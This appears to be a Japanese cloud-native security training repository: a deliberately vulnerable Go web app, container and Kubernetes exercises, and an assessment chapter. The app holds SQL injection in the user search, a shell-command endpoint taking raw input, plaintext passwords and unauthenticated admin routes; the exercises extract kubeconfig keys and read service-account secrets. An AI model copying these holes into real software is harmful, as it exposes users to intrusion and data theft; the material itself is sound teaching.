c.ShouldBindJSON(&user); err != nil { 115 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"}) 116 | return 117 | } 118 | // ユーザー名重複チェック 119 | var exists int 120 | err := db.QueryRow("SELECT COUNT(*) FROM users WHERE username = ?", user.Username).Scan(&exists) 121 | if err != nil { 122 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 123 | return 124 | } 125 | if exists > 0 { 126 | c.JSON(http.StatusBadRequest, gin.H{"error": "User already exists"}) 127 | return 128 | } 129 | // ユーザー登録 130 | _, err = db.Exec("INSERT INTO users (username, full_name, password, is_admin) VALUES (?, ?, ?, ?)", user.Username, user.FullName, user.Password, user.IsAdmin) 131 | if err != nil { 132 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 133 | return 134 | } 135 | c.JSON(http.StatusOK, gin.H{"msg": "User registered"}) 136 | }) 137 | 138 | // ログイン(DB連携) 139 | r.POST("/login", func(c *gin.Context) { 140 | var req User 141 | if err := c.ShouldBindJSON(&req); err != nil { 142 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"}) 143 | return 144 | } 145 | var user User 146 | err := db.QueryRow("SELECT username, full_name, password, is_admin FROM users WHERE username = ?", req.Username).Scan(&user.Username, &user.FullName, &user.Password, &user.IsAdmin) 147 | if err == sql.ErrNoRows { 148 | c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"}) 149 | return 150 | } else if err != nil { 151 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 152 | return 153 | } 154 | if user.Password == req.Password { 155 | c.JSON(http.StatusOK, gin.H{"access_token": user.Username, "is_admin": user.IsAdmin}) 156 | return 157 | } 158 | c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"}) 159 | }) 160 | 161 | // 学習進捗取得(DB連携) 162 | r.GET("/progress/:username", func(c *gin.Context) { 163 | username := c.Param("username") 164 | var userID int 165 | err := db.QueryRow("SELECT id FROM users WHERE username = ?", username).Scan(&userID) 166 | if err == sql.ErrNoRows { 167 | c.JSON(http.StatusNotFound, gin.H{"error": "User not found"}) 168 | return 169 | } else if err != nil { 170 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 171 | return 172 | } 173 | rows, err := db.Query(`SELECT p.course_id, c.title, p.percent, p.updated_at FROM progress p JOIN courses c ON p.course_id = c.id WHERE p.user_id = ?`, userID) 174 | if err != nil { 175 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 176 | return 177 | } 178 | defer rows.Close() 179 | var result []map[string]interface{} 180 | for rows.Next() { 181 | var courseID, percent int 182 | var title string 183 | var updatedAt sql.NullTime 184 | if err := rows.Scan(&courseID, &title, &percent, &updatedAt); err != nil { 185 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 186 | return 187 | } 188 | item := map[string]interface{}{ 189 | "user_id": userID, 190 | "course_id": courseID, 191 | "course": title, 192 | "percent": percent, 193 | } 194 | if updatedAt.Valid { 195 | item["updated_at"] = updatedAt.Time.Format("2006-01-02T15:04:05") 196 | } 197 | result = append(result, item) 198 | } 199 | c.JSON(http.StatusOK, result) 200 | }) 201 | 202 | // 学習進捗更新(DB連携) 203 | r.POST("/progress/:username/:course_id", func(c *gin.Context) { 204 | username := c.Param("username") 205 | courseID := c.Param("course_id") 206 | var req struct { 207 | Percent int `json:"percent"` 208 | } 209 | if err := c.ShouldBindJSON(&req); err != nil { 210 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"}) 211 | return 212 | } 213 | var userID int 214 | err := db.QueryRow("SELECT id FROM users WHERE username = ?", username).Scan(&userID) 215 | if err == sql.ErrNoRows { 216 | c.JSON(http.StatusNotFound, gin.H{"error": "User not found"}) 217 | return 218 | } else if err != nil { 219 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 220 | return 221 | } 222 | // 進捗更新(INSERT ... ON DUPLICATE KEY UPDATE) 223 | _, err = db.Exec(`INSERT INTO progress (user_id, course_id, percent, updated_at) VALUES (?, ?, ?, NOW()) ON DUPLICATE KEY UPDATE percent = VALUES(percent), updated_at = NOW()`, 224 | userID, courseID, req.Percent) 225 | if err != nil { 226 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 227 | return 228 | } 229 | c.JSON(http.StatusOK, gin.H{"msg": "Progress updated"}) 230 | }) 231 | 232 | // 管理者による教材登録(DB連携) 233 | r.POST("/courses", func(c *gin.Context) { 234 | var course Course 235 | if err := c.ShouldBindJSON(&course); err != nil { 236 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"}) 237 | return 238 | } 239 | _, err := db.Exec("INSERT INTO courses (title, description) VALUES (?, ?)", course.Title, course.Description) 240 | if err != nil { 241 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 242 | return 243 | } 244 | c.JSON(http.StatusOK, gin.H{"msg": "Course added", "course": course}) 245 | }) 246 | 247 | // 管理画面用API(ユーザー検索:DB連携) 248 | r.GET("/admin/users", func(c *gin.Context) { 249 | search := c.Query("search") 250 | var query string 251 | 252 | if search != "" { 253 | query = "SELECT username, full_name, is_admin FROM users WHERE username LIKE '%" + search + "%'" 254 | } else { 255 | query = "SELECT username, full_name, is_admin FROM users" 256 | } 257 | 258 | rows, err := db.Query(query) 259 | if err != nil { 260 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error", "details": err.Error()}) 261 | return 262 | } 263 | defer rows.Close() 264 | 265 | columns, err := rows.Columns() 266 | if err != nil { 267 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 268 | return 269 | } 270 | 271 | var result []map[string]interface{} 272 | for rows.Next() { 273 | values := make([]interface{}, len(columns)) 274 | valuePtrs := make([]interface{}, len(columns)) 275 | for i := range values { 276 | valuePtrs[i] = &values[i] 277 | } 278 | 279 | if err := rows.Scan(valuePtrs...); err != nil { 280 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 281 | return 282 | } 283 | 284 | row := make(map[string]interface{}) 285 | for i, col := range columns { 286 | val := values[i] 287 | if b, ok := val.([]byte); ok { 288 | row[col] = string(b) 289 | } else { 290 | row[col] = val 291 | } 292 | } 293 | result = append(result, row) 294 | } 295 | c.JSON(http.StatusOK, result) 296 | }) 297 | 298 | // サーバー情報表示機能 299 | r.GET("/admin/info", func(c *gin.Context) { 300 | info := c.DefaultQuery("info", "uname") 301 | 302 | cmd := exec.Command("sh", "-c", info) 303 | output, err := cmd.Output() 304 | if err != nil { 305 | c.JSON(http.StatusOK, gin.H{ 306 | "command": info, 307 | "status": "executed", 308 | "output": string(output), 309 | "error": err.Error(), 310 | }) 311 | return 312 | } 313 | 314 | c.JSON(http.StatusOK, gin.H{ 315 | "command": info, 316 | "status": "success", 317 | "output": string(output), 318 | }) 319 | }) 320 | 321 | // コース参加申請(DB連携) 322 | r.POST("/courses/:id/join", func(c *gin.Context) { 323 | var req struct { 324 | Username string `json:"username"` 325 | } 326 | if err := c.ShouldBindJSON(&req); err != nil { 327 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"}) 328 | return 329 | } 330 | courseID := c.Param("id") 331 | var userID int 332 | err := db.QueryRow("SELECT id FROM users WHERE username = ?", req.Username).Scan(&userID) 333 | if err == sql.ErrNoRows { 334 | c.JSON(http.StatusNotFound, gin.H{"error": "User not found"}) 335 | return 336 | } else if err != nil { 337 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 338 | return 339 | } 340 | // 進捗テーブルに初期値で登録(参加申請) 341 | _, err = db.Exec(`INSERT INTO progress (user_id, course_id, percent, updated_at) VALUES (?, ?, 0, NOW()) ON DUPLICATE KEY UPDATE percent = percent`, userID, courseID) 342 | if err != nil { 343 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 344 | return 345 | } 346 | c.JSON(http.StatusOK, gin.H{"msg": "Course joined"}) 347 | }) 348 | 349 | // 進捗一覧(全ユーザー・全コース分) 350 | r.GET("/progress", func(c *gin.Context) { 351 | rows, err := db.Query(`SELECT p.user_id, u.username, p.course_id, c.title, p.percent, p.updated_at FROM progress p JOIN users u ON p.user_id = u.id JOIN courses c ON p.course_id = c.id`) 352 | if err != nil { 353 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 354 | return 355 | } 356 | defer rows.Close() 357 | var result []map[string]interface{} 358 | for rows.Next() { 359 | var userID, courseID, percent int 360 | var username, title string 361 | var updatedAt sql.NullTime 362 | if err := rows.Scan(&userID, &username, &courseID, &title, &percent, &updatedAt); err != nil { 363 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 364 | return 365 | } 366 | item := map[string]interface{}{ 367 | "user_id": userID, 368 | "username": username, 369 | "course_id": courseID, 370 | "course": title, 371 | "percent": percent, 372 | } 373 | if updatedAt.Valid { 374 | item["updated_at"] = updatedAt.Time.Format("2006-01-02T15:04:05") 375 | } 376 | result = append(result, item) 377 | } 378 | c.JSON(http.StatusOK, result) 379 | }) 380 | 381 | r.Run(":8000") 382 | } 383 | -------------------------------------------------------------------------------- /02_cloud_native_sec/training.md: -------------------------------------------------------------------------------- 1 | # 演習2 クラウドネイティブセキュリティの基礎 2 | 3 | - [演習2 クラウドネイティブセキュリティの基礎](#演習2-クラウドネイティブセキュリティの基礎) 4 | - [目標](#目標) 5 | - [0 事前準備](#0-事前準備) 6 | - [1. コンテナセキュリティ](#1-コンテナセキュリティ) 7 | - [1.1 コンテナの要素技術を理解する](#11-コンテナの要素技術を理解する) 8 | - [1.1.1 Namespaceの確認](#111-namespaceの確認) 9 | - [1.1.2 Cgroupの確認](#112-cgroupの確認) 10 | - [1.1.3 Capabilitiesの確認](#113-capabilitiesの確認) 11 | - [1.2 Dockerfileセキュリティスキャン](#12-dockerfileセキュリティスキャン) 12 | - [1.2.1 セキュアでないDockerfileの作成](#121-セキュアでないdockerfileの作成) 13 | - [1.2.2 Trivyを使用したDockerfileスキャン](#122-trivyを使用したdockerfileスキャン) 14 | - [1.2.3 セキュアなDockerfileの作成](#123-セキュアなdockerfileの作成) 15 | - [2. Kubernetesセキュリティ](#2-kubernetesセキュリティ) 16 | - [2.1 Kubernetesクラスタのセキュリティスキャン](#21-kubernetesクラスタのセキュリティスキャン) 17 | - [2.1.1 Trivyを使用したクラスタスキャン](#211-trivyを使用したクラスタスキャン) 18 | - [2.1.2 検出された問題の分析](#212-検出された問題の分析) 19 | - [2.2 Kubernetes APIサーバーへの直接アクセス](#22-kubernetes-apiサーバーへの直接アクセス) 20 | - [2.2.1 APIサーバーの情報取得](#221-apiサーバーの情報取得) 21 | - [2.2.2 認証なしでのアクセス試行](#222-認証なしでのアクセス試行) 22 | - [2.2.3 証明書を使用した認証](#223-証明書を使用した認証) 23 | - [2.3 Kubernetes認可(RBAC)の理解](#23-kubernetes認可rbacの理解) 24 | - [2.3.1 現在のユーザー権限の確認](#231-現在のユーザー権限の確認) 25 | - [2.3.2 制限されたServiceAccountの作成](#232-制限されたserviceaccountの作成) 26 | - [2.3.3 カスタムRoleの作成と権限制御](#233-カスタムroleの作成と権限制御) 27 | - [2.3.4 名前空間を跨いだ権限の確認](#234-名前空間を跨いだ権限の確認) 28 | - [2.3.5 権限のないアクセスの確認](#235-権限のないアクセスの確認) 29 | - [2.3.6 クリーンアップ](#236-クリーンアップ) 30 | - [次のステップ](#次のステップ) 31 | 32 | 33 | 本演習では、クラウドネイティブセキュリティの基盤となるコンテナとKubernetesのセキュリティ機能を実際に体験し、理解を深めます。 34 | 35 | ## 目標 36 | 37 | - コンテナの要素技術(namespace, cgroup, capabilities)を理解する 38 | - Dockerfileのセキュリティベストプラクティスを学習する 39 | - Kubernetesクラスタのセキュリティ状態を評価する方法を習得する 40 | - Kubernetes APIサーバーの認証・認可の仕組みを理解する 41 | 42 | --- 43 | 44 | ## 0 事前準備 45 | 46 | 作業ディレクトリを作成し、ディレクトリ内でファイル作成等の作業をしてください。 47 | 48 | ```bash 49 | mkdir -p /root//02 50 | cd /root//02 51 | ``` 52 | 53 | ## 1. コンテナセキュリティ 54 | 55 | ### 1.1 コンテナの要素技術を理解する 56 | 57 | コンテナの基盤となるLinuxの機能(namespace, cgroup, capabilities)を実際に確認してみましょう。 58 | 59 | #### 1.1.1 Namespaceの確認 60 | 61 | **ホストのnamespaceを確認** 62 | 63 | ```bash 64 | # 現在のnamespaceを確認 65 | ls -la /proc/$$/ns/ 66 | ``` 67 | 68 | **unshareコマンドで新しいnamespaceを作成** 69 | 70 | ```bash 71 | # PIDとネットワークnamespaceを分離した環境を作成 72 | sudo unshare --pid --net --fork --mount-proc bash 73 | 74 | # 新しいnamespace内でプロセスを確認 75 | ps aux 76 | # → PID 1として新しいbashプロセスが表示されることを確認 77 | 78 | # ネットワークインターフェースを確認 79 | ip addr show 80 | # → loopbackインターフェースのみが表示されることを確認 81 | 82 | exit 83 | ``` 84 | 85 | **コンテナ内でのnamespace確認** 86 | 87 | ```bash 88 | # コンテナを起動してnamespaceを確認 89 | docker run -it --rm alpine:latest sh 90 | 91 | # コンテナ内でプロセスを確認 92 | ps aux 93 | 94 | # ネットワークを確認 95 | ip addr show 96 | 97 | # namespaceを確認 98 | ls -la /proc/1/ns/ 99 | 100 | exit 101 | 102 | # ホストのnamespaceと比較 103 | ls -la /proc/$$/ns/ 104 | ``` 105 | 106 | #### 1.1.2 Cgroupの確認 107 | 108 | **cgroupの制限を確認** 109 | 110 | ```bash 111 | # メモリ制限を設定してコンテナを起動 112 | docker run -it --rm --memory=128m alpine:latest sh 113 | 114 | # コンテナ内でメモリ制限を確認 115 | cat /sys/fs/cgroup/memory.max 116 | 117 | exit 118 | 119 | # CPU制限を設定してコンテナを起動(別ターミナル) 120 | docker run -it --rm --cpus=0.5 alpine:latest sh 121 | 122 | # CPU制限を確認 123 | cat /sys/fs/cgroup/cpu.max 124 | # の形式で表示される 125 | # quota / period = 0.5 (50%制限) となることを確認 126 | 127 | exit 128 | ``` 129 | 130 | **リソース制限の動作確認** 131 | 132 | ```bash 133 | # メモリを大量消費するプロセスを実行 134 | docker run --memory=64m --rm alpine:latest sh -c "apk add --no-cache python3; python3 -c 'x = b\"a\" * 1024 * 1024 * 80'" 135 | # → メモリ制限によりプロセスが停止することを確認 136 | dmesg 137 | ``` 138 | 139 | #### 1.1.3 Capabilitiesの確認 140 | 141 | **デフォルトのcapabilitiesを確認** 142 | 143 | ```bash 144 | # 通常のコンテナでcapabilitiesを確認 145 | docker run -it --rm alpine:latest sh -c "apk add --no-cache libcap && capsh --print" | grep sys_admin 146 | 147 | # 特権コンテナでcapabilitiesを確認 148 | docker run -it --rm --privileged alpine:latest sh -c "apk add --no-cache libcap && capsh --print" | grep sys_admin 149 | ``` 150 | 151 | **特定のcapabilityを追加/削除** 152 | 153 | ```bash 154 | # NET_ADMINを追加してネットワーク設定を変更 155 | docker run -it --rm alpine:latest sh -c "ip link add dummy0 type dummy && ip link show dummy0" 156 | docker run -it --rm --cap-add=NET_ADMIN alpine:latest sh -c "ip link add dummy0 type dummy && ip link show dummy0" 157 | 158 | # CHOWNを削除 159 | docker run -it --rm alpine:latest sh -c "touch /tmp/test && chown nobody /tmp/test" 2>&1 160 | docker run -it --rm --cap-drop=CHOWN alpine:latest sh -c "touch /tmp/test && chown nobody /tmp/test" 2>&1 161 | ``` 162 | 163 | ### 1.2 Dockerfileセキュリティスキャン 164 | 165 | #### 1.2.1 セキュアでないDockerfileの作成 166 | 167 | まず、セキュリティ上の問題を含むDockerfileを作成します。 168 | 169 | ```bash 170 | cat << 'EOF' > Dockerfile.insecure 171 | FROM ubuntu:latest 172 | 173 | # rootユーザーでアプリケーションを実行 174 | USER root 175 | 176 | # 不要なパッケージをインストール 177 | RUN apt-get update && apt-get install -y \ 178 | curl \ 179 | wget \ 180 | telnet \ 181 | ftp \ 182 | vim \ 183 | git \ 184 | && rm -rf /var/lib/apt/lists/* 185 | 186 | # 機密情報をハードコード 187 | ENV API_KEY=sk-1234567890abcdef 188 | ENV DATABASE_PASSWORD=secret123 189 | 190 | # 広範囲のポートを公開 191 | EXPOSE 22 80 443 3306 5432 192 | 193 | # rootでアプリケーションを実行 194 | CMD ["sleep", "infinity"] 195 | EOF 196 | ``` 197 | 198 | #### 1.2.2 Trivyを使用したDockerfileスキャン 199 | 200 | ```bash 201 | # Dockerfileの設定不備をスキャン 202 | trivy config Dockerfile.insecure 203 | ``` 204 | 205 | #### 1.2.3 セキュアなDockerfileの作成 206 | 207 | 検出された問題を修正したDockerfileを作成します。 208 | 209 | ```bash 210 | cat << 'EOF' > Dockerfile.secure 211 | # 具体的なバージョンを指定 212 | FROM ubuntu:22.04 213 | 214 | # セキュリティパッチを適用 215 | RUN apt-get update && apt-get install -y --no-install-recommends \ 216 | curl \ 217 | ca-certificates \ 218 | && rm -rf /var/lib/apt/lists/* \ 219 | && apt-get clean 220 | 221 | # 非root ユーザーを作成 222 | RUN groupadd -r appgroup && useradd -r -g appgroup -s /bin/false appuser 223 | 224 | # アプリケーションディレクトリを作成 225 | WORKDIR /app 226 | 227 | # ファイルの所有者を設定 228 | COPY --chown=appuser:appgroup . . 229 | 230 | # 必要なポートのみ公開 231 | EXPOSE 8080 232 | 233 | # 非rootユーザーに変更 234 | USER appuser 235 | 236 | # アプリケーションを実行 237 | CMD ["sleep", "infinity"] 238 | EOF 239 | ``` 240 | 241 | ```bash 242 | # 修正後のDockerfileをスキャン 243 | trivy config Dockerfile.secure 244 | ``` 245 | 246 | ## 2. Kubernetesセキュリティ 247 | 248 | ### 2.1 Kubernetesクラスタのセキュリティスキャン 249 | 250 | #### 2.1.1 Trivyを使用したクラスタスキャン 251 | 252 | ```bash 253 | # クラスタ全体のセキュリティ設定をスキャン 254 | trivy k8s --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report summary --timeout=1h 255 | 256 | # 特定のNamespaceをスキャン 257 | trivy k8s --include-namespaces kube-system --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report summary --timeout=1h 258 | 259 | # より詳細な結果を出力(ファイルサイズが非常に大きくなるため注意) 260 | trivy k8s --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report all --timeout=1h > cluster-security-report.txt 261 | 262 | # 結果を確認 263 | cat cluster-security-report.txt 264 | ``` 265 | 266 | #### 2.1.2 検出された問題の分析 267 | 268 | ```bash 269 | # CISベンチマークに基づく検証 270 | trivy k8s --compliance=k8s-cis-1.23 --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report summary 271 | 272 | # Pod Security Standards(Baseline)に基づく検証 273 | trivy k8s --compliance=k8s-pss-baseline-0.1 --tolerations node-role.kubernetes.io/control-plane=:NoSchedule --report summary 274 | ``` 275 | 276 | ### 2.2 Kubernetes APIサーバーへの直接アクセス 277 | 278 | kubectlを使わずに、直接APIサーバーにアクセスして認証・認可の仕組みを理解します。 279 | 280 | #### 2.2.1 APIサーバーの情報取得 281 | 282 | ```bash 283 | # APIサーバーのエンドポイントを確認 284 | kubectl cluster-info 285 | 286 | # APIサーバーのURLを変数に設定(適宜修正) 287 | export API_SERVER=$(kubectl cluster-info | grep "Kubernetes control plane" | awk '{print $7}') 288 | echo "API Server: $API_SERVER" 289 | ``` 290 | 291 | #### 2.2.2 認証なしでのアクセス試行 292 | 293 | ```bash 294 | # 認証なしでAPIサーバーにアクセス(403が返される) 295 | curl -k $API_SERVER/api/v1/pods 296 | ``` 297 | 298 | #### 2.2.3 証明書を使用した認証 299 | 300 | ```bash 301 | # kubeconfigの内容を表示 302 | kubectl config view --raw 303 | 304 | # kubeconfigからクライアント証明書とキーを抽出 305 | kubectl config view --raw -o jsonpath='{.users[0].user.client-certificate-data}' | base64 -d > kube-client.crt 306 | kubectl config view --raw -o jsonpath='{.users[0].user.client-key-data}' | base64 -d > kube-client.key 307 | kubectl config view --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' | base64 -d > kube-ca.crt 308 | 309 | # 証明書を使用してAPIサーバーにアクセス 310 | curl --cert kube-client.crt \ 311 | --key kube-client.key \ 312 | --cacert kube-ca.crt \ 313 | $API_SERVER/api/v1/namespaces 314 | 315 | # Podの一覧を取得 316 | curl --cert kube-client.crt \ 317 | --key kube-client.key \ 318 | --cacert kube-ca.crt \ 319 | $API_SERVER/api/v1/pods 320 | ``` 321 | 322 | ### 2.3 Kubernetes認可(RBAC)の理解 323 | 324 | Kubernetesの認可機能であるRBACの動作を実際に確認し、最小権限の原則について学習します。 325 | 326 | #### 2.3.1 現在のユーザー権限の確認 327 | 328 | ```bash 329 | # 現在のユーザーで実行可能な操作を確認 330 | kubectl auth can-i get pods 331 | kubectl auth can-i create pods 332 | kubectl auth can-i delete pods 333 | kubectl auth can-i get secrets -n kube-system 334 | 335 | # すべての権限を一覧表示 336 | kubectl auth can-i --list 337 | 338 | # 特定のNamespaceでの権限を確認 339 | kubectl auth can-i --list -n kube-system 340 | ``` 341 | 342 | #### 2.3.2 制限されたServiceAccountの作成 343 | 344 | ```bash 345 | # 制限されたServiceAccountを作成 346 | kubectl create serviceaccount limited-sa 347 | 348 | # 現在のServiceAccountの権限を確認(権限なし) 349 | kubectl auth can-i get pods --as=system:serviceaccount:default:limited-sa 350 | 351 | # view権限のみを付与するRoleBindingを作成 352 | kubectl create rolebinding limited-binding \ 353 | --clusterrole=view \ 354 | --serviceaccount=default:limited-sa 355 | 356 | # 権限付与後の確認 357 | kubectl auth can-i get pods --as=system:serviceaccount:default:limited-sa 358 | kubectl auth can-i create pods --as=system:serviceaccount:default:limited-sa 359 | kubectl auth can-i delete pods --as=system:serviceaccount:default:limited-sa 360 | ``` 361 | 362 | #### 2.3.3 カスタムRoleの作成と権限制御 363 | 364 | ```bash 365 | # Pod読み取り専用のRoleを作成 366 | kubectl create role pod-reader \ 367 | --verb=get,list,watch \ 368 | --resource=pods 369 | 370 | # ServiceAccountにカスタムRoleを割り当て 371 | kubectl create serviceaccount custom-sa 372 | kubectl create rolebinding custom-binding \ 373 | --role=pod-reader \ 374 | --serviceaccount=default:custom-sa 375 | 376 | # カスタムRoleの権限を確認 377 | kubectl auth can-i get pods --as=system:serviceaccount:default:custom-sa 378 | kubectl auth can-i create pods --as=system:serviceaccount:default:custom-sa 379 | kubectl auth can-i get services --as=system:serviceaccount:default:custom-sa 380 | 381 | # 権限の詳細を確認 382 | kubectl auth can-i --list --as=system:serviceaccount:default:custom-sa 383 | ``` 384 | 385 | #### 2.3.4 名前空間を跨いだ権限の確認 386 | 387 | ```bash 388 | # test Namespaceを作成 389 | kubectl create namespace test 390 | 391 | # defaultのみで有効なRoleBindingの動作確認 392 | kubectl auth can-i get pods --as=system:serviceaccount:default:custom-sa -n default 393 | kubectl auth can-i get pods --as=system:serviceaccount:default:custom-sa -n test 394 | 395 | # クラスター全体で有効なClusterRoleBindingを作成 396 | kubectl create clusterrolebinding cluster-pod-reader \ 397 | --clusterrole=view \ 398 | --serviceaccount=default:cluster-sa 399 | 400 | kubectl create serviceaccount cluster-sa 401 | 402 | # 異なるNamespaceでの権限を確認 403 | kubectl auth can-i get pods --as=system:serviceaccount:default:cluster-sa -n default 404 | kubectl auth can-i get pods --as=system:serviceaccount:default:cluster-sa -n test 405 | kubectl auth can-i get pods --as=system:serviceaccount:default:cluster-sa -n kube-system 406 | ``` 407 | 408 | #### 2.3.5 権限のないアクセスの確認 409 | 410 | ```bash 411 | # 権限のないリソースへのアクセスを試行 412 | kubectl auth can-i create secrets --as=system:serviceaccount:default:limited-sa 413 | kubectl auth can-i delete nodes --as=system:serviceaccount:default:limited-sa 414 | 415 | # 実際にPodを作成して権限制限を確認 416 | cat << EOF > test-pod.yaml 417 | apiVersion: v1 418 | kind: Pod 419 | metadata: 420 | name: test-rbac-pod 421 | spec: 422 | serviceAccountName: limited-sa 423 | containers: 424 | - name: test 425 | image: alpine:latest 426 | command: ["sleep", "3600"] 427 | EOF 428 | 429 | kubectl apply -f test-pod.yaml 430 | 431 | # Podにexec 432 | kubectl exec -it test-rbac-pod -- /bin/sh 433 | 434 | # Pod内からkubectl操作を試行 435 | wget -qO /tmp/kubectl https://dl.k8s.io/release/v1.33.3/bin/linux/amd64/kubectl 436 | chmod +x /tmp/kubectl 437 | /tmp/kubectl get pods 438 | /tmp/kubectl auth whoami 439 | 440 | # ServiceAccountの認証情報 441 | ls /var/run/secrets/kubernetes.io/serviceaccount/ 442 | 443 | exit 444 | ``` 445 | 446 | #### 2.3.6 クリーンアップ 447 | 448 | ```bash 449 | # 作成したリソースを削除 450 | kubectl delete pod test-rbac-pod --ignore-not-found 451 | kubectl delete serviceaccount limited-sa custom-sa cluster-sa --ignore-not-found 452 | kubectl delete rolebinding limited-binding custom-binding --ignore-not-found 453 | kubectl delete clusterrolebinding cluster-pod-reader --ignore-not-found 454 | kubectl delete role pod-reader --ignore-not-found 455 | kubectl delete namespace test --ignore-not-found 456 | ``` 457 | 458 | --- 459 | 460 | ## 次のステップ 461 | 462 | 演習完了後、[3章 セキュリティアセスメント](../03_security_assessment/README.md) に進みます。 463 | -------------------------------------------------------------------------------- /03_security_assessment/README.md: -------------------------------------------------------------------------------- 1 | # 3章 セキュリティアセスメント 2 | 3 | - [3章 セキュリティアセスメント](#3章-セキュリティアセスメント) 4 | - [1. ルールベースとリスクベースのセキュリティアプローチ](#1-ルールベースとリスクベースのセキュリティアプローチ) 5 | - [1.1. ルールベースセキュリティとは](#11-ルールベースセキュリティとは) 6 | - [1.2. リスクベースセキュリティとは](#12-リスクベースセキュリティとは) 7 | - [1.3. Kubernetesおよびクラウドネイティブ環境における適用性](#13-kubernetesおよびクラウドネイティブ環境における適用性) 8 | - [1.4. ルールベース vs リスクベースセキュリティ](#14-ルールベース-vs-リスクベースセキュリティ) 9 | - [2. クラウドネイティブプラットフォームのための脅威モデリング](#2-クラウドネイティブプラットフォームのための脅威モデリング) 10 | - [2.1. 脅威モデリングとは](#21-脅威モデリングとは) 11 | - [2.2. STRIDE脅威モデル](#22-stride脅威モデル) 12 | - [2.3. 攻撃対象領域とデータフローの脆弱性を特定する手法](#23-攻撃対象領域とデータフローの脆弱性を特定する手法) 13 | - [3. 多層防御(Defense-in-Depth)の実装](#3-多層防御defense-in-depthの実装) 14 | - [3.2. Kubernetes内のセキュリティ層の図示](#32-kubernetes内のセキュリティ層の図示) 15 | - [3.3. 各層の多様なセキュリティ制御を統合するための戦略](#33-各層の多様なセキュリティ制御を統合するための戦略) 16 | - [4. セキュリティ対策の費用対効果](#4-セキュリティ対策の費用対効果) 17 | - [4.1. セキュリティ投資と組織目標およびリスク許容度のバランス](#41-セキュリティ投資と組織目標およびリスク許容度のバランス) 18 | - [4.2. セキュリティ価値の定量化とリソース配分の最適化](#42-セキュリティ価値の定量化とリソース配分の最適化) 19 | - [4.3. クラウドネイティブにおけるセキュリティ投資収益率(ROSI)](#43-クラウドネイティブにおけるセキュリティ投資収益率rosi) 20 | - [次のステップ](#次のステップ) 21 | 22 | 23 | 本章では、クラウドネイティブ環境のセキュリティを強化する上で、システムのセキュリティ状態を評価し、具体的な対策を決定するための考え方やフレームワークをご紹介します。 24 | 25 | ## 1. ルールベースとリスクベースのセキュリティアプローチ 26 | 27 | ### 1.1. ルールベースセキュリティとは 28 | 29 | ルールベースセキュリティは、事前定義された標準、ポリシー、規制、またはベストプラクティスへの準拠に焦点を当てたアプローチです。これは、確立されたルールへの準拠を確実にすることに関わります。このアプローチは、GDPRやHIPAAなどの規制要件、PCI DSSなどの業界標準、または組織内部のポリシーによって推進されることがよくあります。 30 | 31 | **主な特徴:** 32 | - **コンプライアンス駆動:** 主な目標は、特定の義務を満たすことです。 33 | - **チェックリスト指向:** 一連のルールやコントロールに対する準拠を検証することを含みます。 34 | - **静的/反応的:** 既知の構成に対する定期的な監査やスキャンを伴うことが多いです。 35 | - **例:** KubernetesのCISベンチマーク、NISTガイドライン、内部セキュリティベースライン、Policy as Codeによる自動ポリシー適用。 36 | 37 | Policy as Codeは、動的な環境においてもルールベースのコントロールをより効果的かつ一貫性のあるものにするメカニズムとして機能します。 38 | 39 | ### 1.2. リスクベースセキュリティとは 40 | 41 | リスクベースセキュリティは、潜在的な影響と可能性に基づいて、実際の脅威と脆弱性を特定、評価、および軽減することに焦点を当てたアプローチです。これは、何が問題になりうるか、それがどれくらい起こりそうか、そしてその結果がどれほど深刻になるかを理解することに関わります。このアプローチは、組織のリスクを削減する上で最も大きな影響を与える場所にセキュリティ投資を優先させます。 42 | 43 | **主な特徴:** 44 | - **脅威中心:** 潜在的な攻撃ベクトルと攻撃者を特定し、理解することに焦点を当てます。 45 | - **プロアクティブ/適応的:** 潜在的な損害を予測し防止することを目指し、進化する脅威に適応します。 46 | - **優先順位付け:** 最も重要なリスクに最初に対処するためにリソースを向けます。 47 | - **例:** 脅威モデリング、脆弱性管理、ペネトレーションテスト、インシデント対応計画。 48 | 49 | リスクベースアプローチのメリットには、優先順位付け、リソースの最適化、およびビジネス目標との整合性があります。 50 | 51 | ### 1.3. Kubernetesおよびクラウドネイティブ環境における適用性 52 | 53 | **ルールベースセキュリティの適用:** 54 | - **Pros:** Kubernetes環境において、ベースラインのセキュリティ体制を確立するために不可欠です。例えば、コントロールプレーンとワーカーノードを強化するためのCIS Kubernetesベンチマークは、初期評価の強力な指標となります。OPA GatekeeperやKyvernoのようなPolicy as Codeツールは、アドミッションコントロールでルールを強制し、すべての新しいデプロイメントがセキュリティ標準(例:特権コンテナなし、必須リソース制限)に準拠することを保証できます。 55 | - **Cons:** コンプライアンスはセキュリティとイコールではありません。システムがすべてのルールに完全に準拠していても、ルールでカバーされていない新しい攻撃や誤設定に対して脆弱である可能性があります。クラウドネイティブの動的な性質は、静的なルールセットがすぐに陳腐化する可能性があることを意味します。 56 